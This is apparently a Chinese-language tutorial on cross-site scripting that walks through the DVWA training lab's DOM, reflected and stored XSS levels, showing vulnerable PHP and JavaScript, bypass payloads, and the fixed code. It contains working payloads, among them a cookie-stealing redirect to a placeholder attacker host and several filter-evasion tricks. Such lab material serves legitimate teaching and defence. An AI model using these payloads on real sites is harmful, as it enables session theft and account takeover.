XSS introduce and usage

漏洞介绍

定义

  • XSS本名Cross-Site Scripting跨站脚本,是攻击者将恶意JavaScript脚本植入服务器而形成对访问者的攻击。

攻击流程

  • 攻击者通过评论区一类的存储点,将写好的JavaScript脚本写入服务器。
  • 服务器存储后,在用户访问页面时,携带恶意脚本返回给用户。
  • 此时恶意代码被执行,用户的信息将会发送到攻击者的服务器,完成攻击。

漏洞详解

原理

  • 使用页面元素,比如<script>JavaScript-Code</script>包含恶意代码植入,若没有相应的防护,该代码作为呈现部分加入到页面上(评论区),很可能被识别为合法的页面元素执行。

攻击方式

  • 攻击方式主要有以下三种:
    • 使用document.cookie发送用户的cookie,攻击者可以用来无账号密码登入用户账号。
    • 使用addEventListener记录键盘输入,其中可能记录密码等秘密信息。
    • 构造虚假DOM树,插入虚假登录表单,诱骗用户进入自己构造的钓鱼网站。

常用语句

  • 打印信息
1
<script>alert(XSS)</script>
  • 发送cookie
1
<script>window.location='http://ATTACKER-SITE/?cookie='+document.cookie</script>
  • 页面跳转
1
<script>window.location.href='http://ATTACKER-SITE/';</script>
  • 绕过过滤
1
2
3
4
<sCript>...</scriPt>
<scr<script>ipt>...</scr<script>ipt>
<img src='1' onerror=alert('XSS')>
<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

onerror(event)图片或者视频加载出错时,执行事件event

eval()可以执行Unicode转义后的语句。

  • 鼠标动作执行
1
2
<div onmousemove='JavaScript-Code'>
<div onmouseover='JavaScript-Code'>

onmousemove(event)指针在该区域移动时执行事件event

onmouseover(event)指针覆盖该区域时执行事件event

  • 手动闭合
1
";Your-JavaScript-Code;"

当插入的语句出现在变量或者其他位置,为了保证语句执行,需要先闭合前一个语句。

漏洞复现

攻击环境

  • 根据网上的分类,找到一个比较好的博客,参考图如下。
  • 三种分类方法并不是相互冲突的,可以进行组合,为了条理清晰,这里分开介绍(统一使用JSXSS)。
  • 这里分别使用DVWADOMReflectedStored展开演示。

DOM

介绍

  • 每个页面都有自己的DOM树,通过修改DOM树使得恶意脚本被执行。
  • DOMDocument Object Model文档对象模型,所以后面代码主要注重前端。

Low

代码

  • 前端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>
  • 后端
1
2
3
4
5
<?php

# No protections, anything goes

?>

审计

  • 前端将GET上传的default参数加入到<select>元素的选项卡中,每当页面被呈现时,恶意代码就可以运行。
  • 后端没有做任何防护,意思就是随便注。

document.location.href.indexOf(str)返回字符串str第一个字符的下标。

document.location.href.substring(start, end)构造下标从startend的子串。

攻击

  • 直接在URL中通过修改default参数上传XSS注入。

Medium

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

审计

  • 前端代码没变(之后也应该不变),后端增加了对<script的过滤。
  • 这里可以使用没有被屏蔽的标签进行注入。

攻击

  • <option><select>标签闭合,保证img标签可以插入。
  • Payload如下
1
</option></select><img src=1 onerror=alert('XSS')>
  • 此时src链接必然找不到图片并且报错,onerror收到后即执行XSS语句。
  • High

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

审计

  • 设置白名单,只有规定的几种选项可以输入。
  • 若不在白名单内,默认设置为English

攻击

  • 使用&或者#分隔参数,$_GET['default']指向分隔符之前的内容,参与后端判断语句。
  • 根据前端代码可知,分隔符之后的内容也会载入到前端页面中,故可实现恶意代码的注入。

防御

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>
</select>

审计

  • 之前的恶意代码之所以能够运行就是因为在呈现页面元素时,将URL中已经编好码的参数使用decodeURI()解码,解码后的代码才可以执行。
  • 前端不解码直接呈现参数lang,导致恶意代码编码后无法被解析。

Reflected

介绍

  • 攻击者构造恶意链接诱骗受害者点击,受害者点击后便触发恶意代码运行,完成攻击。

Low

代码

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

审计

  • 前端负责输入,后端接收到name参数后没有防范措施,直接打印在屏幕上。

攻击

  • 直接输入XSS语句即可。

Medium

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

审计

  • 使用str_replace()函数,将<script>过滤后打印。

攻击

  • 借用str_replace的过滤机制,<script>被替换为空字符串,构造Payload
1
<scr<script>ipt>alert('XSS');</script>

High

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

审计

  • 使用正则表达式过滤法,杜绝了构造<script>的方法。
  • 黑名单太过单一,可以使用其他标签进行注入。

攻击

  • 使用<img>元素,Payload如下。
1
<img src=1 onerror=alert('XSS')>

防御

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

审计

  • 日常check token
  • htmlspecialchars()函数将name参数转化后,代码无法运行。

htmlspecialchars( string $string , int $flags = ENT_COMPAT | ENT_HTML401 , string $encoding = ini_get(“default_charset”) , bool $double_encode = true ) : string将特殊字符转换为HTML实体。

Stored

介绍

  • 攻击者将恶意代码上传到服务器端存储(如评论区),每当服务器展示时,恶意代码都会运行。

Low

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

审计

  • namemessage参数进行修剪,去除多余字符。
  • 在前端页面对name的大小限制为10个字符,对message限制为50个字符。
  • 使用stripslashes()函数对message进行转义字符过滤,预防SQL注入。

trim( string $str , string $character_mask = “ \t\n\r\0\x0B” ) : string除去以下特殊字符。

字符 意义
“ “ 空格
“\t” 制表符
“\n” 换行符
“\r” 回车符
“\0” 空字节符
“\x0B” 垂直制表符

攻击

  • name限制太大,只能从message下手,并且没有任何XSS防御手段,直接键入XSS语句即可。

Medium

代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php

...

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
...
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
...

审计

  • 使用 addslashes()函数对 message 中的某些字符进行过滤。
  • 使用 strip_tags() 函数去除标签。
  • name中的<script>标签进行屏蔽。

strip_tags( string $str , string $allowable_tags = ? ) : string从字符串 str 中去除 HTMLPHP 标签。

addslashes( string $str ) : string在字符串 str 中的单引号(')、双引号(")、反斜线(\)与 NULnull 字符)前,加上反斜线(\)转义。

攻击

  • message这个注入点被完全屏蔽了,但是name只是简单过滤,于是从name下手。
  • 前端对name限制了文本长度,打开F12修改前端限制。
  • 使用name作为注入点,对<script>的屏蔽构造Payload
1
<scr<script>ipt>alert('XSS');</scr<script>ipt>

High

代码

1
2
3
4
5
6
7
<?php

...

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
...

审计

  • 知道Medium会放过name注入后,对<script>进行了正则表达式的完全屏蔽。

攻击

  • 屏蔽了<script>标签后,使用其他标签注入XSS语句即可。

防御

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

审计

  • 日常check token
  • Medium的基础上,对name施加同message一样的过滤,使得注入点消失。
  • 使用PDO机制预防SQL注入。